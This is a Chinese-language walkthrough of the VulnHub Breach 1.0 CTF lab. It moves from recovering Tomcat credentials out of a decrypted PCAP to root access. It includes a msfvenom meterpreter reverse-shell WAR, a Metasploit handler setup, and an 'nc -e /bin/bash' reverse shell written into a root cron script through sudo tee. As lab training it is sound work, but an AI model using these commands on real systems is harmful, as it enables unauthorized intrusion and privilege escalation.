靶机信息

下载链接
https://download.vulnhub.com/breach/Breach-1.0.zip
靶机说明
Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战。
VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网。
目标
Boot to root:获得root权限,查看flag。
运行环境
靶机:网络连接方式设置为主机模式(host-only),静态IP是192.168.110.140。
攻击机:kali linux,IP为192.168.110.128
可以在虚拟网络编辑器中修改子网ip:192.168.110.0,使得攻击机和靶机在同一网段中
图片

信息收集

端口扫描
使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到Breach.txt文件
nmap -v -A 192.168.110.140 -oN breach.txt,发现有很多端口都开放了
图片
直接访问80端口,进入web首页:http://192.168.110.140/
图片

渗透阶段

查看前端

查看前端源码,发现这串字符,去base64解码
图片
经过了两次base64解码
图片

登录到impress cms

点击首页的图片,进入initech.html,有几个超链接都点下,前面三个无发现,点击最后一个就来到登录页面,是impresscms
图片
图片
用之前解码得到的用户名和密码进行登录,登录成功了
图片

查找impress cms的历史漏洞

使用命令,searchsploit impresscms,发现impresscms存在sql注入漏洞
图片
到exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞:https://www.exploit-db.com/exploits/39737/ 可注入页面为/modules/profile/admin/field.php
图片
访问一下,发现没有权限,无法进行注入
图片

邮件信息

但可以发现登录成功后的页面,有红色的3很显眼了,是3封未读邮件
图片
第一个没什么利用价值。第二个是IDS/IPS 入侵检测/防御系统
第三个出现了/.keystore ,访问一下,就自动下载了一个文件,这是包含SSL证书的密钥库keystore文件(keystore是存储公私密钥的一种文件格式)
图片

导入PCAP、SSL证书到Wireshark

依次访问左边每个菜单栏,点击profile会进入网站目录浏览
点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接
Content SSL implementation test capture,然后发现了这个流量包的访问链接。
图片
访问链接并下载该文件,并翻译该页面可得提示:这个PCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。
而且They told me the alias, storepassword and keypassword are all set to 'tomcat'别名、Keystore密码、key密码都设置成tomcat。

由以上可得:其一这是一个流量包文件,不能读取很可能因为某些流量有SSL加密并且前面的邮件中提供了一个keystore,这里提供了密码;其二系统中可能存在tomcat。
从keystore中获取SSL的证书
Windows攻击机安装有JDK,到JDK bin目录下找到keytool.exe工具。
查看keystore这个密钥库里面的所有证书命令keytool -list -keystore D:/下载/keystore 密钥库口令tomcat。
图片
从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书命令:keytool -importkeystore -srckeystore d:\下载\keystore -destkeystore d:\下载\tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat口令都为tomcat
图片
将.p12证书导入Wireshark
在Wireshark中打开_SSL_test_phase1.pcap流量包文件,选择菜单:编辑--首选项--Protocols--TLS,点击右边的Edit:输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat
图片
得到tomcat后台URL和密码
导入证书后,成功解密https流量,http过滤,查看流量包
a.一个Unauthorized的认证包;b.攻击者上传了两张图片,疑似图片马,但是命令马无法直接访问,需要登录tomcat后台;c.有cmd命令马执行了id命令。
图片
获得Tomcat后台登录地址和用户名密码
通过上面发现的一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html因为状态码为200,进一步发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC base64解码后,Tomcat后台登录用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB
图片
图片
登录tomcat
访问上面的登录地址发现无法访问
图片
这里是因为浏览器不具备相应的证书所导致的,这里可以用burp代理拦截,然后放包访问,因为burp具备各种证书。(推荐用谷歌浏览器抓包)
图片
登录成功了,有个文件上传的功能点
图片
Tomcat后台getshell
Tomcat后台get shell的标准姿势:上养马场,准备好jsp版本的各种马,然后上传连接。
使用msfvenom生成后门文件shell.jsp,将shell.jsp进行压缩,将shell.zip转化成war格式

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=1234 -f jsp -o shell.jsp
zip -r shell.zip shell.jsp
cp shell.zip shell.war

图片
启动msfconsole,开启监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 1234
run

图片
上传的tomcat.war,再访问,成功拿下shell
图片
图片
反弹成功后,输入命令python -c 'import pty;pty.spawn("/bin/bash")'进入交互式的shell。
图片

提权

查看/etc/passwd,重点是用户milton和blumbergh,1000+ 两个是普通用户
图片

提权到milton用户

在/var/www/5446目录下,看到两个文件名很特殊的文件,里面是数据库连接的密码,密码为空,可以直接连接
图片
连接成功后,使用mysql这个数据库,查看到milton用户的密码了
图片
MD5解密后milton:thelaststraw ,提权到用户milton,su milton,成功
图片
查看milton用户home目录下的some_script.sh文件,没有可利用的信息。还有一张图片
图片
查看系统内核版本,命令uanme -a和cat /etc/issue
系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
图片

提权到blumbergh用户

查看历史命令,看到历史命令su提权到了blumbergh用户。需要找到blumbergh用户的密码。
图片
继续收集信息,http://192.168.110.140/images/ 目录下找到6张图片,milton用户目录下,发现1张图片
图片
strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码在bill.png图片中。找到可能的密码或提示:发现唯一的单词是:coffeestains
图片
图片
提权到blumbergh用户,blumbergh:coffeestains,成功
图片

提权到root

查看历史命令,发现/usr/share/cleanup和tidyup.sh脚本文件,查看tidyup.sh脚本
图片
这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的木马总是被删除,需要重新上传。查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以
查看sudo权限:执行sudo -l:发现用户能够以root权限执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
图片
tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。
通过crontab的计划任务,反弹root shell
向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用nc反弹命令: echo "nc -e /bin/bash 192.168.110.128 4444" > shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:cat /usr/share/cleanup/tidyup.sh
图片
nc监听等待反弹shell,因为是定时任务所有,这里需要等待3分钟执行反弹,查看权限是root,flag是一张图片,将图片复制到/var/www/html/images/目录下
图片
查看flag:I NEED TO TALK ABOUT YOUR FLAIR 游戏通关。
图片